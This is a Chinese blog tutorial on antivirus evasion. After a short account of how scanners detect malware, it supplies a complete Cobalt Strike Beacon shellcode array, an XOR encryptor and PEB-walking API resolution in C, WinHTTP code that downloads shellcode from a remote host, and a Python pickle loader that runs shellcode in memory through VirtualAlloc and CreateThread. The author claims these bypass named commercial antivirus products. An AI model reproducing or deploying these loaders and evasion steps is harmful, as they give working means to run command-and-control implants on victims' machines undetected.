『免杀系列』免杀技术(1)


日期: 2021-03-18

作者: Mr-hello

介绍: 免杀,一个老生常谈的领域,但是当你真正了解之后,你会发现想要入门其实也还算容易。但是真正有所成就还是需要下一番功夫。


0x00 前言

作为一个刚刚踏入免杀领域的小菜鸡,我还有很多的知识需要学习,接下来的篇幅就目前我所接触到的知识,给大家做一个简单的分享,错误之处欢迎指正。

0x01 杀毒原理浅析

360、腾讯电脑管家、火绒剑、金山毒霸、瑞星等等,这几个杀毒软件领头羊,现在的杀毒软件都无法脱离三个部分,扫描器病毒库虚拟机。然而一个杀毒软件做的是否好用,最主要的还是扫描器的速度、准确率以及病毒库是否庞大。

1.1 基于特征码的静态扫描技术

这种技术很容易被人想到,所以第一代的杀毒软件出现了,他们的杀毒思想就是,我只要匹配到特征字符串就可以判断出来这个文件是一个病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。

1.2 启发式扫描

为了对付病毒的不断变化和对未知病毒的研究,启发式扫描方式出现了。启发式扫描是通过分析指令出现的顺序,或特定组合情况等常见病毒的标准特征来判断文件是否感染未知病毒。

可以根据扫描特定的行为或多种行为的组合来判断一个程序是否是病毒。例如,制定一套打分机制,在系统目录下释放文件得20分,对分区进行格式化得100分,对启动项进行操作得50分等,只要评分达到某个预设值,即可判断为病毒文件。

1.3 虚拟机技术

查毒引擎中的虚拟机,并不是像 VMWare 的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。

设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。

0x02 免杀技术

2.1 修改特征码

既然杀毒软件在最开始时,使用了病毒特征码概念,那么我们可以通过修改病毒特征码的方式躲过杀软扫描。

第一种是更改特征码,例如:一个文件在某一个地址内有 “灰鸽子上线成功” 这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了。

第二种是根据校验和查杀技术提出的免杀思想,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。

2.2 花指令免杀

花指令免杀是指,在程序 shellcode 或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。

2.3 加壳免杀

加壳,程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如: UPXASPack 等。

现在杀软会在检测到文件采用加密壳之后,直接提醒用户,该文件存在问题。可以使用不常见加密壳对程序进行加壳,来躲避杀软,该方法理论可用,只通过加壳实现免杀,成功几率很小,现在基于虚拟机技术,内存监测技术的发展,通过加壳方式进行免杀的思路越来越窄。

2.4 二次编译

msfvenom 提供了多种格式的 payloadencoder ,生成的 shellcode 也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。

shikata_ga_naimsf 中唯一的评价是 excellent 的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。

目前 msfvenomencoder 特征基本都进入了杀软的漏洞库。互联网上有很多借助于 C、C#、python 等语言对 shellcode 进行二次编码从而达到免杀的效果。

0x03 一些干货

AV 查杀方面,C > python > go

3.1 C\C++

截至2021年03月18日,利用 shellcode xor 加密 + 动态加载获取调用函数的地址可以成功绕过360安全卫士最新版(12.0.0.2003)、腾讯安全管家(13.5)云查杀。

生成shellcode

使用 cobaltstrikeBeacon HTTP 模块生成 shellcode

image
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x94\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x66\x4a\x78\x34\x00\x96\x02\xe8\x73\xd4\x19\xe5\xb8\x3a\x72\x05\x86\xb0\x7c\x4e\x8c\x9d\xbd\x56\x51\xc3\x6a\xae\x78\xfa\xb0\x6b\x49\x10\xd9\x71\x30\x37\x00\x0a\xe8\x70\x57\x95\x7d\x38\x23\xc9\xbc\x78\xec\xf5\xe4\xa9\xa1\xb9\xc7\xa7\x25\xb4\x80\x0f\x5d\xe9\x75\x86\xed\x3c\x9b\x9c\x85\xa4\x71\x1b\x57\x59\x47\xaa\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4c\x42\x42\x52\x4f\x57\x53\x45\x52\x29\x0d\x0a\x00\x00\x51\xf9\x9c\x10\xc6\x24\x23\x09\x8a\x4d\xf4\xbb\x6f\x85\x8a\xae\x67\xac\x5e\x57\x5f\x0e\xe7\xc3\x99\xda\x7e\x45\x7e\x05\xf0\xf8\xb3\x1c\x45\xfd\xac\xe9\x74\x16\xbf\x09\x3a\x62\xdb\x5d\x88\xfe\xf0\xbb\x09\x78\x5b\xd0\xa4\xbb\xdd\x03\x98\x88\xb9\xbb\x91\x7b\x3e\xb5\xef\x29\x89\xa2\x84\xa4\xb0\x13\x1e\x77\xc2\x76\x48\x23\x79\x45\xe4\xf8\x3b\x14\x14\x27\x4a\x22\x6a\xe2\x58\x5b\xd8\x8f\x82\x7a\xa3\xaf\xac\x1d\x9f\x1f\xb3\x95\x62\x63\x94\x95\x2e\x98\x56\x41\x54\x3a\xd6\xc5\x8c\x94\xbc\xc9\xe2\x21\xe5\xaf\x9f\xec\x48\x46\x17\x2b\x8d\x0c\x1a\x8c\xc3\x86\x7e\xe1\xd4\x98\xee\x7c\x86\x59\x87\x5d\x44\x3a\x38\xf0\x31\x5f\x02\x33\xf4\x65\xe4\xd7\x4f\x19\x89\x5a\x26\x99\xb8\x7b\xad\xa9\x70\x88\xd9\x78\xca\x48\x6b\x54\x9a\x1a\x57\x96\x2c\x39\x21\xaa\x73\x5b\xd5\x0d\x35\x0a\xfb\xa8\xb8\x81\x38\x86\x7e\xdb\x2b\xf7\xbc\xd9\x0a\x91\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x37\x32\x2e\x31\x36\x2e\x39\x35\x2e\x31\x33\x35\x00\x12\x34\x56\x78";

shellcode xor 加密

void encrypt()
{
    int size = sizeof(shellcode);
    unsigned char encryptedShellcode[sizeof(shellcode)];
    unsigned char key[] = "Mr_hello07891A";
    //加密
    int j = 0;
    for (int i = 0; i < size; i++)
    {
        if (j == sizeof(key))
        {
            j = 0;
        }
        encryptedShellcode[i] = shellcode[i] ^ key[j];
        j++;
    }
    //加密后数据
    printf("加密后数据\r\n");
    for (int i = 0; i < size; i++)
    {
        printf("\\x%0.2x", encryptedShellcode[i]);
    }
    printf("\n");
    }

动态加载获取调用函数的地址

这里进行动态加载函数,目前大多数 AV 都已经对 VirtualAlloc 等常用来执行 shellcode 的函数进行了监控,一旦在程序中发生直接调用,均会被 AV 查杀。

/*
获取kernel32.dll的基地址
因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
因此通过 PEB 结构获取Kernel32.dll基址
部分代码来自看雪论坛
*/
#define PTCHAR char*

DWORD _getKernelBase()
{
  DWORD dwPEB;
  DWORD dwLDR;
  DWORD dwInitList;
  DWORD dwDllBase;//当前地址
  PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  DWORD dwVirtualAddress;//导出表偏移地址
  PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  PTCHAR lpName;//指向dll名字的指针
  TCHAR szKernel32[] = TEXT("KERNEL32.dll");
  __asm
  {
    mov eax, FS:[0x30]//获取PEB所在地址
    mov dwPEB, eax
  }
  dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
  dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
  //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
  for (;dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
    dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
    )
  {
    pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
    pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
    dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
    pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
    lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字

    if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
    {
      return dwDllBase;
    }
  }
  return 0;
}
/*
获取指定字符串的API函数的调用地址
入口参数:_hModule为动态链接库的基址
_lpApi为API函数名的首址
出口参数:eax为函数在虚拟地址空间中的真实地址
*/
DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
{
  DWORD i;
  DWORD dwLen;
  PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  DWORD dwVirtualAddress;//导出表偏移地址
  PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  TCHAR** lpAddressOfNames;
  PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
  for (i = 0; _lpApi[i]; ++i);
  dwLen = i;
  pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
  pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
  dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
  pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
  lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
  for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
  {
    if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
      !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
    {
      lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
      return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
    }
  }
  return 0;
}

编译shellcode加载运行程序

EncryptedShellCode 放在源码中,按照正常流程:解密 -> 动态加载,执行 shellcode 方式进行编译后,能通过360安全卫士、腾讯安全管家云查杀,但无法通过火绒行为查杀。

image
image

PS: 在测试过程中发现,这种 shellcode xor 加密方式,在经过 AV 上传云端备份一段时间之后,再次使用相同 key 值进行 shellcode 加密会被查杀,但选取新的 key 进行加密,即可通过 AV 查杀。

shellcode 不落地

基本思路就是,在 C\C++ 语言下使用 HTTP,去远程 get shellcode。其主要实现代码如下:

DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
        hConnect = WinHttpConnect(hSession, L"192.168.50.242", 80, 0);
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", L"test2.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
                break;
            }
            if (!dwSize)
                break;
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }
            ZeroMemory(pszOutBuffer, dwSize + 1);
            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            else
                printf("%s",pszOutBuffer);
        } while (dwSize > 0);
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

将获取到的 shellcode 执行即可。(shellcode 为十六进制数据)

image

PS:这里也可使用 Socks 编程实现远程 get shellcode

3.2 python

python反序列化

首先使用 CS 生成一个 python 脚本 payload

-w813

将生成的 payload 经过 base64 编码。

-w1110

base64 之后的 payload 放入 HTTP 服务器(也可本地加载)。使用下面代码进行反序列化。

import base64
import pickle

shellcode = """
import ctypes,urllib.request,codecs,base64

#shellcode = urllib.request.urlopen('http://127.0.0.1:8000/test.txt').read()
shellcode = 'XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTBceDUyXHg1MVx4NTZceDQ4XHgzMVx4ZDJceDY1XHg0OFx4OGJceDUyXHg2MFx4NDhceDhiXHg1Mlx4MThceDQ4XHg4Ylx4NTJceDIwXHg0OFx4OGJceDcyXHg1MFx4NDhceDBmXHhiN1x4NGFceDRhXHg0ZFx4MzFceGM5XHg0OFx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceGUyXHhlZFx4NTJceDQxXHg1MVx4NDhceDhiXHg1Mlx4MjBceDhiXHg0Mlx4M2NceDQ4XHgwMVx4ZDBceDY2XHg4MVx4NzhceDE4XHgwYlx4MDJceDc1XHg3Mlx4OGJceDgwXHg4OFx4MDBceDAwXHgwMFx4NDhceDg1XHhjMFx4NzRceDY3XHg0OFx4MDFceGQwXHg1MFx4OGJceDQ4XHgxOFx4NDRceDhiXHg0MFx4MjBceDQ5XHgwMVx4ZDBceGUzXHg1Nlx4NDhceGZmXHhjOVx4NDFceDhiXHgzNFx4ODhceDQ4XHgwMVx4ZDZceDRkXHgzMVx4YzlceDQ4XHgzMVx4YzBceGFjXHg0MVx4YzFceGM5XHgwZFx4NDFceDAxXHhjMVx4MzhceGUwXHg3NVx4ZjFceDRjXHgwM1x4NGNceDI0XHgwOFx4NDVceDM5XHhkMVx4NzVceGQ4XHg1OFx4NDRceDhiXHg0MFx4MjRceDQ5XHgwMVx4ZDBceDY2XHg0MVx4OGJceDBjXHg0OFx4NDRceDhiXHg0MFx4MWNceDQ5XHgwMVx4ZDBceDQxXHg4Ylx4MDRceDg4XHg0OFx4MDFceGQwXHg0MVx4NThceDQxXHg1OFx4NWVceDU5XHg1YVx4NDFceDU4XHg0MVx4NTlceDQxXHg1YVx4NDhceDgzXHhlY1x4MjBceDQxXHg1Mlx4ZmZceGUwXHg1OFx4NDFceDU5XHg1YVx4NDhceDhiXHgxMlx4ZTlceDRmXHhmZlx4ZmZceGZmXHg1ZFx4NmFceDAwXHg0OVx4YmVceDc3XHg2OVx4NmVceDY5XHg2ZVx4NjVceDc0XHgwMFx4NDFceDU2XHg0OVx4ODlceGU2XHg0Y1x4ODlceGYxXHg0MVx4YmFceDRjXHg3N1x4MjZceDA3XHhmZlx4ZDVceDQ4XHgzMVx4YzlceDQ4XHgzMVx4ZDJceDRkXHgzMVx4YzBceDRkXHgzMVx4YzlceDQxXHg1MFx4NDFceDUwXHg0MVx4YmFceDNhXHg1Nlx4NzlceGE3XHhmZlx4ZDVceGViXHg3M1x4NWFceDQ4XHg4OVx4YzFceDQxXHhiOFx4OTFceDFmXHgwMFx4MDBceDRkXHgzMVx4YzlceDQxXHg1MVx4NDFceDUxXHg2YVx4MDNceDQxXHg1MVx4NDFceGJhXHg1N1x4ODlceDlmXHhjNlx4ZmZceGQ1XHhlYlx4NTlceDViXHg0OFx4ODlceGMxXHg0OFx4MzFceGQyXHg0OVx4ODlceGQ4XHg0ZFx4MzFceGM5XHg1Mlx4NjhceDAwXHgwMlx4NDBceDg0XHg1Mlx4NTJceDQxXHhiYVx4ZWJceDU1XHgyZVx4M2JceGZmXHhkNVx4NDhceDg5XHhjNlx4NDhceDgzXHhjM1x4NTBceDZhXHgwYVx4NWZceDQ4XHg4OVx4ZjFceDQ4XHg4OVx4ZGFceDQ5XHhjN1x4YzBceGZmXHhmZlx4ZmZceGZmXHg0ZFx4MzFceGM5XHg1Mlx4NTJceDQxXHhiYVx4MmRceDA2XHgxOFx4N2JceGZmXHhkNVx4ODVceGMwXHgwZlx4ODVceDlkXHgwMVx4MDBceDAwXHg0OFx4ZmZceGNmXHgwZlx4ODRceDhjXHgwMVx4MDBceDAwXHhlYlx4ZDNceGU5XHhlNFx4MDFceDAwXHgwMFx4ZThceGEyXHhmZlx4ZmZceGZmXHgyZlx4NjZceDRmXHgzOVx4NmZceDAwXHg0ZFx4NDRceGUwXHg3MFx4YzJceDZkXHgwY1x4OGZceDM3XHg0Y1x4N2VceDViXHhiN1x4YThceGQyXHgyZlx4Y2FceDNhXHgyOFx4YWJceDE4XHg3Nlx4ZDVceDdhXHgzZlx4NzVceDE2XHg5YVx4YTlceDZkXHg5MFx4MTdceDI1XHg2Ylx4MThceDFhXHgzOFx4OTZceDViXHhlZVx4YmFceGM1XHg0Y1x4ZjRceDZkXHg3MVx4NGVceDU0XHgyNlx4NzlceDljXHgwZlx4ZTBceGIyXHhkMlx4ZjBceDBhXHhjOVx4ZmFceGE2XHg5MFx4ZWRceDRhXHg1M1x4ZDVceDdlXHg1MFx4MTVceGE3XHgzZVx4YWJceGIzXHhmMVx4MDBceDU1XHg3M1x4NjVceDcyXHgyZFx4NDFceDY3XHg2NVx4NmVceDc0XHgzYVx4MjBceDRkXHg2Zlx4N2FceDY5XHg2Y1x4NmNceDYxXHgyZlx4MzVceDJlXHgzMFx4MjBceDI4XHg2M1x4NmZceDZkXHg3MFx4NjFceDc0XHg2OVx4NjJceDZjXHg2NVx4M2JceDIwXHg0ZFx4NTNceDQ5XHg0NVx4MjBceDMxXHgzMFx4MmVceDMwXHgzYlx4MjBceDU3XHg2OVx4NmVceDY0XHg2Zlx4NzdceDczXHgyMFx4NGVceDU0XHgyMFx4MzZceDJlXHgzMlx4M2JceDIwXHg1NFx4NzJceDY5XHg2NFx4NjVceDZlXHg3NFx4MmZceDM2XHgyZVx4MzBceDI5XHgwZFx4MGFceDAwXHhjMVx4MTdceGYxXHhhZlx4ZmRceDZhXHgxNFx4N2NceGEyXHhiNFx4ZDFceGNhXHg4Zlx4OWNceGI0XHhjMVx4ZDVceGI5XHg2YVx4YjJceDMyXHg2NVx4OTJceDkwXHhkN1x4ODJceDhmXHhhMFx4ZThceDBjXHhjNVx4MDBceDkyXHhhNFx4ZGVceDNmXHgwYlx4MDlceDFmXHg4NVx4NGRceDRhXHg5Y1x4MzJceGJkXHg2MVx4MjdceGMwXHg0ZVx4OTVceDE1XHg2Nlx4YWVceDA3XHg0M1x4NzVceGM3XHhlNFx4NTNceDcxXHg2MVx4NzZceGJhXHgwM1x4NWFceDgzXHhiZFx4NGNceDJjXHgxYlx4NWVceGI4XHhhNlx4YTJceGRhXHg0OVx4NTVceDhlXHgwMlx4NjZceDZjXHg0YVx4NWFceGZiXHg2MVx4NTRceDY5XHgxNlx4MDdceGU1XHgyNVx4ZDJceGI1XHhmMlx4YjZceGJjXHgxOVx4MTNceDI3XHg2M1x4OGJceDY3XHgwOFx4YjRceDJiXHhlZFx4MzZceGQxXHgzY1x4NWNceDQ0XHg3Ylx4NTdceDQzXHhlM1x4NmFceGNmXHhmMVx4NDdceDNmXHhkMlx4NTdceGMxXHg0Zlx4YjhceGM5XHgwZFx4NDZceDU1XHhiNlx4YTNceDQ1XHhjNVx4MmJceDkzXHgyYVx4NDBceDc4XHhhMFx4MzlceDhlXHhiMVx4MmNceDYzXHg2ZVx4ZDJceDFkXHhjYVx4MWNceGExXHhhZVx4ZDZceGQ1XHg2Y1x4NjZceDlhXHhmMVx4NjFceDY3XHgxYVx4YjJceDg1XHhmN1x4OWJceDkyXHg0Zlx4ZTFceGM5XHg1MFx4MzZceDY2XHg5ZFx4OTVceDQxXHgzY1x4ODZceDk2XHhlOVx4Y2RceDJiXHgyYVx4NjlceDVhXHhmMFx4YmRceDc5XHgyZFx4MWRceGQyXHg4Nlx4ZmNceDFjXHg4MVx4NjhceDEzXHhiOVx4ZjhceGRjXHg1YVx4ZGVceGYzXHg4Ylx4ZWVceGJhXHg0Nlx4NGZceDMxXHhiYlx4OGVceGRkXHg2ZVx4OGFceDVlXHgzM1x4Y2RceGM2XHhmOFx4MGJceDQ0XHgwNFx4OTJceGY1XHhlMVx4MzdceDAwXHg0MVx4YmVceGYwXHhiNVx4YTJceDU2XHhmZlx4ZDVceDQ4XHgzMVx4YzlceGJhXHgwMFx4MDBceDQwXHgwMFx4NDFceGI4XHgwMFx4MTBceDAwXHgwMFx4NDFceGI5XHg0MFx4MDBceDAwXHgwMFx4NDFceGJhXHg1OFx4YTRceDUzXHhlNVx4ZmZceGQ1XHg0OFx4OTNceDUzXHg1M1x4NDhceDg5XHhlN1x4NDhceDg5XHhmMVx4NDhceDg5XHhkYVx4NDFceGI4XHgwMFx4MjBceDAwXHgwMFx4NDlceDg5XHhmOVx4NDFceGJhXHgxMlx4OTZceDg5XHhlMlx4ZmZceGQ1XHg0OFx4ODNceGM0XHgyMFx4ODVceGMwXHg3NFx4YjZceDY2XHg4Ylx4MDdceDQ4XHgwMVx4YzNceDg1XHhjMFx4NzVceGQ3XHg1OFx4NThceDU4XHg0OFx4MDVceDAwXHgwMFx4MDBceDAwXHg1MFx4YzNceGU4XHg5Zlx4ZmRceGZmXHhmZlx4MzFceDM5XHgzMlx4MmVceDMxXHgzNlx4MzhceDJlXHgzNVx4MzBceDJlXHgzMlx4MzRceDMyXHgwMFx4MTJceDM0XHg1Nlx4Nzg='
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""


class A(object):
    def __reduce__(self):
        return (exec, (shellcode,))


ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
#ret_decode = base64.b64decode(ret_base64)

使用下面代码运行生成。

import base64,pickle,ctypes,urllib.request
shellcode =b'gASVUgQAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFgzBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzEyNy4wLjAuMTo4MDAwL3Rlc3QudHh0JykucmVhZCgpCnNoZWxsY29kZSA9IGJhc2U2NC5iNjRkZWNvZGUoc2hlbGxjb2RlKQpzaGVsbGNvZGUgPWNvZGVjcy5lc2NhcGVfZGVjb2RlKHNoZWxsY29kZSlbMF0Kc2hlbGxjb2RlID0gYnl0ZWFycmF5KHNoZWxsY29kZSkKIyDorr7nva5WaXJ0dWFsQWxsb2Pov5Tlm57nsbvlnovkuLpjdHlwZXMuY191aW50NjQKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NAojIOeUs+ivt+WGheWtmApwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLCBjdHlwZXMuY19pbnQoMHg0MCkpCgojIOaUvuWFpXNoZWxsY29kZQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeSgKICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCAKICAgIGJ1ZiwgCiAgICBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpCikKIyDliJvlu7rkuIDkuKrnur/nqIvku45zaGVsbGNvZGXpmLLmraLkvY3nva7pppblnLDlnYDlvIDlp4vmiafooYwKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKQopCiMg562J5b6F5LiK6Z2i5Yib5bu655qE57q/56iL6L+Q6KGM5a6MCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSxjdHlwZXMuY19pbnQoLTEp